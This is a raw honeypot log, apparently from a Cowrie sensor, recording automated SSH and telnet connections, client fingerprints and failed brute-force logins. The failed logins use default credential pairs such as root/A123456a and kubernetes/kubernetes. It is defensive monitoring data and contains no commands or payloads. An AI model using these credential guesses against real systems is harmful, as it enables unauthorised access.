{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:02.408751Z","src_ip":"176.65.132.129","session":"25a39580ef36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:02.656248Z","src_ip":"176.65.132.129","session":"25a39580ef36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:03.742562Z","src_ip":"176.65.132.129","session":"25a39580ef36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45538,"dst_ip":"10.17.0.5","dst_port":23,"session":"766ca04218a9","protocol":"telnet","message":"New connection: 152.42.224.71:45538 (10.17.0.5:23) [session: 766ca04218a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:04.043886Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40446,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa365e6e72c1","protocol":"ssh","message":"New connection: 176.65.132.129:40446 (159.203.135.109:22) [session: fa365e6e72c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:05.514251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:05.518846Z","src_ip":"176.65.132.129","session":"fa365e6e72c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:05.668212Z","src_ip":"176.65.132.129","session":"fa365e6e72c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:05.915216Z","src_ip":"176.65.132.129","session":"fa365e6e72c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:07.061436Z","src_ip":"176.65.132.129","session":"fa365e6e72c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41570,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2ee32a5d71d","protocol":"ssh","message":"New connection: 176.65.132.129:41570 (159.203.135.109:22) [session: a2ee32a5d71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:08.700055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:08.704878Z","src_ip":"176.65.132.129","session":"a2ee32a5d71d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:08.789464Z","src_ip":"176.65.132.129","session":"a2ee32a5d71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:09.034076Z","src_ip":"176.65.132.129","session":"a2ee32a5d71d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:10.119099Z","src_ip":"176.65.132.129","session":"a2ee32a5d71d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51972,"dst_ip":"10.17.0.5","dst_port":22,"session":"17fc81067ba1","protocol":"ssh","message":"New connection: 109.237.96.109:51972 (10.17.0.5:22) [session: 17fc81067ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:11.836526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:11.841247Z","src_ip":"109.237.96.109","session":"17fc81067ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:11.938085Z","src_ip":"109.237.96.109","session":"17fc81067ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41582,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2cc8189ae49","protocol":"ssh","message":"New connection: 176.65.132.129:41582 (159.203.135.109:22) [session: e2cc8189ae49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:12.009253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:12.014931Z","src_ip":"176.65.132.129","session":"e2cc8189ae49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:12.097670Z","src_ip":"176.65.132.129","session":"e2cc8189ae49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1x2c3v4b5","message":"login attempt [root/z1x2c3v4b5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:12.222829Z","src_ip":"109.237.96.109","session":"17fc81067ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:12.345490Z","src_ip":"176.65.132.129","session":"e2cc8189ae49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.8306770324707,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:12.774525Z","src_ip":"152.42.224.71","session":"b4cbbff1a400","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:13.335859Z","src_ip":"109.237.96.109","session":"17fc81067ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:13.431443Z","src_ip":"176.65.132.129","session":"e2cc8189ae49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57312,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ad757e3e450","protocol":"telnet","message":"New connection: 152.42.224.71:57312 (10.17.0.5:23) [session: 4ad757e3e450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:15.259017Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41586,"dst_ip":"159.203.135.109","dst_port":22,"session":"587055d39852","protocol":"ssh","message":"New connection: 176.65.132.129:41586 (159.203.135.109:22) [session: 587055d39852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:15.275538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:15.405674Z","src_ip":"176.65.132.129","session":"587055d39852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:15.409739Z","src_ip":"176.65.132.129","session":"587055d39852","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57324,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a85e2069dbf","protocol":"telnet","message":"New connection: 152.42.224.71:57324 (10.17.0.5:23) [session: 0a85e2069dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:15.500785Z"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:15.754794Z","src_ip":"176.65.132.129","session":"587055d39852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:16.841036Z","src_ip":"176.65.132.129","session":"587055d39852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.86960577964783,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:16.854584Z","src_ip":"152.42.224.71","session":"67339a169c98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34632,"dst_ip":"159.203.135.109","dst_port":22,"session":"cad8a738b9fd","protocol":"ssh","message":"New connection: 176.65.132.129:34632 (159.203.135.109:22) [session: cad8a738b9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:18.665429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:18.669592Z","src_ip":"176.65.132.129","session":"cad8a738b9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:18.751376Z","src_ip":"176.65.132.129","session":"cad8a738b9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:19.001414Z","src_ip":"176.65.132.129","session":"cad8a738b9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35322,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a15d67822c2","protocol":"telnet","message":"New connection: 152.42.224.71:35322 (10.17.0.5:23) [session: 4a15d67822c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:19.335649Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:20.085486Z","src_ip":"176.65.132.129","session":"cad8a738b9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34642,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ea949bbbf98","protocol":"ssh","message":"New connection: 176.65.132.129:34642 (159.203.135.109:22) [session: 1ea949bbbf98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:21.872411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:21.877570Z","src_ip":"176.65.132.129","session":"1ea949bbbf98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:21.960171Z","src_ip":"176.65.132.129","session":"1ea949bbbf98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:22.206090Z","src_ip":"176.65.132.129","session":"1ea949bbbf98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:23.307482Z","src_ip":"176.65.132.129","session":"1ea949bbbf98","protocol":"ssh"}
